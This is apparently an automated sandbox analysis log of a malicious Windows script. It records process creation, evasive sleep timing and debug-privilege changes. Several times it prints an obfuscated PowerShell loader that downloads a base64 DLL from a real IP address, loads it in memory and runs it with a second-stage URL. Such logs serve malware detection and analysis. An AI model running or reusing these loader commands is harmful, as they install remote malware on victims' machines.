Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FF816455F74 push ss; ret

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9623

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 724	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5656	Thread sleep count: 9623 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5244	Thread sleep time: -5534023222112862s >= -30000s

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000003.00000003.315447170.000001B0AB0F6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.344023748.000001B0AB104000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'j??bw??ek??qwb3??hy??i????9??c????jw??l??g8??ygb6??gu??cqb1??gk??bw??l??cc??owbb??ei??eqb0??gu??wwbd??f0??i????k??eq??t??bm??c????pq??g??fs??uwb5??hm??d??bl??g0??lgbd??g8??bgb2??gu??cgb0??f0??og??6??ey??cgbv??g0??qgbh??hm??zq??2??dq??uwb0??hi??aqbu??gc??k????o??e4??zqb3??c0??twbi??go??zqbj??hq??i??bo??gu??d????u??fc??zqbi??em??b??bp??gu??bgb0??ck??lgbe??g8??dwbu??gw??bwbh??gq??uwb0??hi??aqbu??gc??k????n??gg??d??b0??h????og??v??c8??mg??w??c4??nw??u??de??n????u??dk??oq??v??hm??zqby??hy??zqby??c8??z??bs??gw??lgb0??hg??d????n??ck??kq??7??fs??uwb5??hm??d??bl??g0??lgbb??h????c??be??g8??bqbh??gk??bgbd??do??ogbd??hu??cgby??gu??bgb0??eq??bwbt??ge??aqbu??c4??t??bv??ge??z????o??cq??r??bm??ew??kq??u??ec??zqb0??fq??eqbw??gu??k????n??em??b??bh??hm??cwbm??gk??ygby??ge??cgb5??dm??lgbd??gw??yqbz??hm??mq??n??ck??lgbh??gu??d??bn??gu??d??bo??g8??z????o??cc??ugb1??g4??jw??p??c4??sqbu??hy??bwbr??gu??k????k??g4??dqbs??gw??l????g??fs??bwbi??go??zqbj??hq??wwbd??f0??i????o??cc??d??b4??hq??lgbm??gm??yw??v??di??mg??y??c4??mw??3??c4??nq??y??di??lg??1??dg??mq??v??c8??ogbw??hq??d??bo??cc??kq??p????==';$vxdfe = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $codigo.replace('??','a') ) ).replace('%mtiubzgqec%','');powershell.exe -command $vxdfe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$picwv = '%obzequio%';[byte[]] $dll = [system.convert]::frombase64string((new-object net.webclient).downloadstring('http://20.7.14.99/server/dll.txt'));[system.appdomain]::currentdomain.load($dll).gettype('classlibrary3.class1').getmethod('run').invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'j??bw??ek??qwb3??hy??i????9??c????jw??l??g8??ygb6??gu??cqb1??gk??bw??l??cc??owbb??ei??eqb0??gu??wwbd??f0??i????k??eq??t??bm??c????pq??g??fs??uwb5??hm??d??bl??g0??lgbd??g8??bgb2??gu??cgb0??f0??og??6??ey??cgbv??g0??qgbh??hm??zq??2??dq??uwb0??hi??aqbu??gc??k????o??e4??zqb3??c0??twbi??go??zqbj??hq??i??bo??gu??d????u??fc??zqbi??em??b??bp??gu??bgb0??ck??lgbe??g8??dwbu??gw??bwbh??gq??uwb0??hi??aqbu??gc??k????n??gg??d??b0??h????og??v??c8??mg??w??c4??nw??u??de??n????u??dk??oq??v??hm??zqby??hy??zqby??c8??z??bs??gw??lgb0??hg??d????n??ck??kq??7??fs??uwb5??hm??d??bl??g0??lgbb??h????c??be??g8??bqbh??gk??bgbd??do??ogbd??hu??cgby??gu??bgb0??eq??bwbt??ge??aqbu??c4??t??bv??ge??z????o??cq??r??bm??ew??kq??u??ec??zqb0??fq??eqbw??gu??k????n??em??b??bh??hm??cwbm??gk??ygby??ge??cgb5??dm??lgbd??gw??yqbz??hm??mq??n??ck??lgbh??gu??d??bn??gu??d??bo??g8??z????o??cc??ugb1??g4??jw??p??c4??sqbu??hy??bwbr??gu??k????k??g4??dqbs??gw??l????g??fs??bwbi??go??zqbj??hq??wwbd??f0??i????o??cc??d??b4??hq??lgbm??gm??yw??v??di??mg??y??c4??mw??3??c4??nq??y??di??lg??1??dg??mq??v??c8??ogbw??hq??d??bo??cc??kq??p????==';$vxdfe = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $codigo.replace('??','a') ) ).replace('%mtiubzgqec%','');powershell.exe -command $vxdfe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$picwv = '%obzequio%';[byte[]] $dll = [system.convert]::frombase64string((new-object net.webclient).downloadstring('http://20.7.14.99/server/dll.txt'));[system.appdomain]::currentdomain.load($dll).gettype('classlibrary3.class1').getmethod('run').invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J??Bw??Ek??QwB3??HY??I????9??C????Jw??l??G8??YgB6??GU??cQB1??Gk??bw??l??Cc??OwBb??EI??eQB0??GU??WwBd??F0??I????k??EQ??T??BM??C????PQ??g??Fs??UwB5??HM??d??Bl??G0??LgBD??G8??bgB2??GU??cgB0??F0??Og??6??EY??cgBv??G0??QgBh??HM??ZQ??2??DQ??UwB0??HI??aQBu??Gc??K????o??E4??ZQB3??C0??TwBi??Go??ZQBj??HQ??I??BO??GU??d????u??Fc??ZQBi??EM??b??Bp??GU??bgB0??Ck??LgBE??G8??dwBu??Gw??bwBh??GQ??UwB0??HI??aQBu??Gc??K????n??Gg??d??B0??H????Og??v??C8??Mg??w??C4??Nw??u??DE??N????u??Dk??OQ??v??HM??ZQBy??HY??ZQBy??C8??Z??Bs??Gw??LgB0??Hg??d????n??Ck??KQ??7??Fs??UwB5??HM??d??Bl??G0??LgBB??H????c??BE??G8??bQBh??Gk??bgBd??Do??OgBD??HU??cgBy??GU??bgB0??EQ??bwBt??GE??aQBu??C4??T??Bv??GE??Z????o??CQ??R??BM??Ew??KQ??u??Ec??ZQB0??FQ??eQBw??GU??K????n??EM??b??Bh??HM??cwBM??Gk??YgBy??GE??cgB5??DM??LgBD??Gw??YQBz??HM??MQ??n??Ck??LgBH??GU??d??BN??GU??d??Bo??G8??Z????o??Cc??UgB1??G4??Jw??p??C4??SQBu??HY??bwBr??GU??K????k??G4??dQBs??Gw??L????g??Fs??bwBi??Go??ZQBj??HQ??WwBd??F0??I????o??Cc??d??B4??HQ??LgBm??GM??Yw??v??DI??Mg??y??C4??Mw??3??C4??NQ??y??DI??Lg??1??Dg??MQ??v??C8??OgBw??HQ??d??Bo??Cc??KQ??p????==';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('??','A') ) ).replace('%mtIUbZgQec%','');powershell.exe -Command $VXdfe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '%obzequio%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fcc/222.37.522.581//:ptth'))

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
